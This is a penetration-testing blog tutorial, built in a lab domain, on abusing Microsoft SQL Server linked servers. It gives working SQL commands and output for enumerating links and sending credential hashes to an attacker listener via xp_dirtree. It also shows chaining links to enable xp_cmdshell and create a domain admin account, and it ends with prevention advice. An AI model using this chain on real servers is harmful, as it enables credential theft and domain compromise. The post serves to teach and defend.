
In this blog post, we examine Database Links, a feature found in Microsoft SQL server that allow user’s to setup trusted links to other database servers. Database links can be abused by adversaries to gain access to sensitive data and escalate privileges or further their access on an internal enterprise network.
What is a Database Link?
Lets go back to the beginning and look at what Microsoft define as a linked server.
Linked servers enable the SQL Server Database Engine and Azure SQL Managed Instance to read data from the remote data sources and execute commands against the remote database servers (for example, OLE DB data sources) outside of the instance of SQL Server.
Microsoft also provide us with some advantages of using linked database servers.
Linked servers enable you to implement distributed databases that can fetch and update data in other databases. They are a good solution in the scenarios where you need to implement database sharding without need to create a custom application code or directly load from remote data sources. Linked servers offer the following advantages:
- The ability to access data from outside of SQL Server.
- The ability to issue distributed queries, updates, commands, and transactions on heterogeneous data sources across the enterprise.
- The ability to address diverse data sources similarly.
When database links are configured correctly, they can provide organisations, particularly those that manage lots of different data sources, many powerful features.
Why should I care?
As we’ve seen above, linked servers offer great data management features. However, they are also commonly misconfigured. A common example is when you login to a misconfigured SQL server as a non-privileged user account and gain access to Systems Administrator privileges on the other side of a database link.
Lab Setup
As this blog post is a tutorial, we will be re-creating this attack chain in a lab environment. For the reader following along, we have the three following hosts.
- Thanos.MCU.lab (Windows Server 2016, Domain Controller)
- VisionSQL.MCU.Lab (Windows Server 2016, Running MS SQL Server 2016)
- WandaSQL.MCU.Lab (Windows Server 2016, Running MS SQL Server 2016)
When you create a linked server, you must assign a security role to the created link. ie. a user account. A common misconfiguration that's seen when conducting internal infrastructure assessments are that linked servers are setup using the SA account. The logic behind this misconfiguration is that the SA account would have access to all databases on the target server, so therefore is most likely the easiest account to use for the connection.
For the lab, the following linked servers have been created.
- A link between VisionSQL and WandaSQL - this allows VisionSQL to access WandaSQL using the security role links-user. This user has basic privileges and only has access to objects that are available to public users.
- A link from WandaSQL, back to VisionSQL - this allows WandaSQL to access VisionSQL using the security role Sysadmin. This is the administrative user, which we will use to execute commands and compromise the server.
The resulting chain looks like the graphic below.

The graphic above shows that we have created a chain of linked servers, that starts with low privileged access and finishes with sysadmin access on the server that we started from.
Discovering Linked Database Servers
Now that the lab has been setup, the scenario can begin. An Active Directory domain user account under the name of MCU\PPots has been compromised during a penetration test and we have discovered this account is able to logon to the database server: VisionSQL.MCU.lab.
The next step involves using the MSSQLClient.py impacket tool in order to communicate with the Microsoft SQL database service.
We can authenticate to the database with the following command: mssqlclient.py MCU.lab/Ppots@visionSQL -windows-auth.
After we are logged into the database, we can enumerate any linked servers with the following syntax:
select srvname from master..sysservers
srvname
--------------------------------------------------------------------------------
FALCONSQL
WANDASQL
Analysing the data returned from the tool above, we can see that the server has links to two other servers, FalconSQL and WandaSQL.
Choosing WandaSQL as the target, we can see what permissions the database link has been set up with. To do this, we are going to use openquery() to run a command on the remote server and check what permissions we have.
The following SQL command can be used to check the permissions of the link, it will return either a 1 or a 0 to indicate true or false.
select * from openquery("WANDASQL", 'SELECT is_srvrolemember(''sysadmin'')')
---------------------------------------------------------------------------
0
As the data returned 0 (indicating false), it shows that the link from VisionSQL to WandaSQL is not configured as a System Administrator (SA).
For the final step in our enumeration, we are going to check whether it is possible to run stored procedures over the enumerated database links. In order to run a stored procedure over a database link, the link must be configured with the option RPC Out.
We can check this with the following command:
select is_rpc_out_enabled FROM sys.servers WHERE name ='WANDASQL'
---------------------------------------------------------------------------
1
The command above returned a 1 (true), indicating that RPC Out is enabled for the database link setup between VisionSQL to WandaSQL.
Recap:
- We can authenticate to one of the Microsoft SQL servers (VisionSQL) with our domain user account.
- We identified two database links present on VisionSQL.
- We found out that the link between VisionSQL and WandaSQL was not configured as a System Administrator.
- We learned that RPC Out was enabled for the database link between VisionSQL and WandaSQL.
Abusing MS-SQL Database Links to Steal Hashes
During the discovery within the section above, we identified that the first database link had RPC Out enabled. This allows us to run stored procedures on the database server WandaSQL whilst only needing to authenticate to VisionSQL.
It will not be possible to run the xp_cmdshell stored procedure over the first database link, as that stored procedure requires system administrator privileges which we do not have over that database link. However, what if we use a stored procedure with public permissions?
Stored Procedure: XP_Dirtree
Discussing the technical details about the xp_dirtree stored procedure is out of scope for this post, however a high-level overview is that it instructs the server to connect to a folder and list the contents. This functionality can be abused to connect to a UNC path and it will automatically send its Windows credentials when doing so, allowing us, as an attacker to capture them or relay them.
Most importantly is that this stored procedure (by default) is configured with public permissions.
As we have Public permissions across the first database link we discovered and RPC Out is enabled, we will be able to execute this attack. Ensure that you have a listener or relay tool listening, to receive the connection from the database. In the example below, we are using the tool Responder.py listening in analyse mode.
The following command can be used to run a stored procedure over a database link. Note, that in order to run a stored procedure over a database link, a value must be returned. Therefore, you must include the SELECT 1; at the start of the query each time to satisfy this requirement.
select * from openquery("WANDASQL", 'SELECT 1; EXEC master..xp_dirtree ''\\192.168.60.1\test''')
---------------------------------------------------------------------------
1
The command returns the value 1 due to our SELECT 1; statement that we mentioned previously. However, browsing to our terminal with Responder.py running, we see that the server has attempted to connect to us and has sent us the NetNTLMv2 hash for the Domain User MCU.lab\TStark.

After capturing a Net-NTLMv2 password hash, we can subject it to offline password cracking or even combine this attack with an SMB Relaying attack to take advantage of a lack of SMB message signing on an internal network.
Compromising the Domain Through Privileged Database Links
Up until now, we haven’t discussed that database links can be nested, meaning that database links can be chained on top of each other. Consider the following example code:
select * from openquery("SQL1",
"select * from openquery(""SQL2,
""select * from openquery(""""SQL3"""",
""""select * from openquery""""(""""""""SQL4"""""""""",
select is_srv_rolemember(""""""""""""""""sysadmin"""""""""""""""")"""""""")"""")"")");
First we open a connection to SQL1, then from SQL1 we are connecting to SQL2. Then from SQL2, we are connecting to SQL3, then finally we are connecting to SQL4 and seeing if the database link between SQL3 and SQL4 is configured with a System Administrator role.
TLDR: We can query other database links through other database links. As far as we know there's no limit on how many you can have, although as you can see above, the queries get out of control pretty quick, especially with the quotes!
In the final example, we are going to connect to WandaSQL via the database link from VisionSQL, check to see if there are any database links on WandaSQL and if they are privileged. If the database link has SA privileges, we will abuse them to execute xp_cmdshell and compromise the database server.
We can enumerate database links on WandaSQL with the query below.
select * from openquery("WANDASQL", 'select srvname from master..sysservers');
srvname
---------------------------------------------------------------------------
VISIONSQL
Then we check if the second database link between WandaSQL and VisionSQL is configured with a privileged user account.
select * from openquery("WANDASQL", 'select * from openquery("VISIONSQL",''select is_srvrolemember(''''sysadmin'''')'')');
---------------------------------------------------------------------------
1
The query returns a 1 (true), indicating that the database link between WandaSQL and VisionSQL is configured with SA privileges.
Like before, we’ll also check if RPC Out is enabled, allowing us to run stored procedures over the database link:
select * from openquery("WANDASQL", 'select * from openquery("VISIONSQL",''select is_rpc_out_enabled from sys.servers where name =''''visionsql'''''')');
---------------------------------------------------------------------------
1
Recap:
- We have a database link between VisionSQL and WandaSQL.
- We’ve then identified a second database link from WandaSQL back to VisionSQL.
- We’ve identified that the second database link is configured as a Systems Administrator.
- We’ve also identified that RPC Out is enabled, allowing us to run stored procedures over the database links.
Now that we have systems administrator privileges and RPC Out is enabled, this means that we will be able to run the stored procedure xp_cmdshell and execute operating system commands on the underlying server itself.
The stored procedure xp_cmdshell is disabled by default and only a systems administrator account is able to enable it. Fortunately, there is way to execute it through our database links.
The following commands will re enable xp_cmdshell through the two database links we have identified:
exec('exec(''sp_configure ''show advanced options'',1;reconfigure'') at [visionsql]') at [wandasql];
exec('exec(''sp_configure ''xp_cmdshell'',1;reconfigure'') at [visionsql]') at [wandasql];
With xp_cmdshell now re-enabled, we can now execute commands on the underlying server through the database links.
The following commands will execute xp_cmdshell and leverage the elevated privileges of the SQL Server in order to add a new domain admin account (Note, the SELECT 1; from the previous section).
select * from openquery("WANDASQL", 'select * from openquery("VISIONSQL",''SELECT 1; EXEC master..xp_cmdshell ''''net user Dannrocks SuperSecurePass /add /domain'''''')');
select * from openquery("WANDASQL", 'select * from openquery("VISIONSQL",''SELECT 1; EXEC master..xp_cmdshell ''''net group "Domain Admins" Dannrocks /add /domain'''''')');
After running the commands, if we open a PowerShell prompt on the box as our lower-privileged user account MCU\PPots, we can see that a new Domain Administrator account has been created called MCU.lab\Dannrocks resulting in a domain-wide compromise.

Prevention
In order to minimise the abuse of configured database links, the following best practice advice can be followed.
- Ensure that database links are configured with the principle of least privilege. Ideally, create a separate account that is only used for that link, with minimal privileges (enough to access the databases/tables for the purposes of the link).
- Ensure that RPC Out is disabled, to prevent attackers from running stored procedures over database links.
- Restrict access to the database server and ensure that only accounts that have a genuine business need are the ones that are granted access. Avoid granting access to large groups in Active Directory, such as BUILTIN\Users for example.
- Finally, if you don’t use the database links, make sure they are removed. This can prevent them from being abused if a user ever gains unauthorised access.
Acknowledgements
- Laurent Gaffie for the Responder.py tool.
- Fortra for the Impacket collection suite of tools.
- Scott Sutherland (@_nullbind) and the rest of the NetSPI Team for all their research on securing Microsoft SQL Server.
Disclaimer: All information provided within this post is for educational purposes only.
Offensive security articles from the front line
Security is who we are
Founded in 2022, Adversify is a specialist penetration testing consultancy. We redefine penetration testing engagements and help businesses discover attack paths and vulnerabilities, commonly exploited by real-world adversaries.
Our attack surface-led approach ensures comprehensive coverage of the environment.
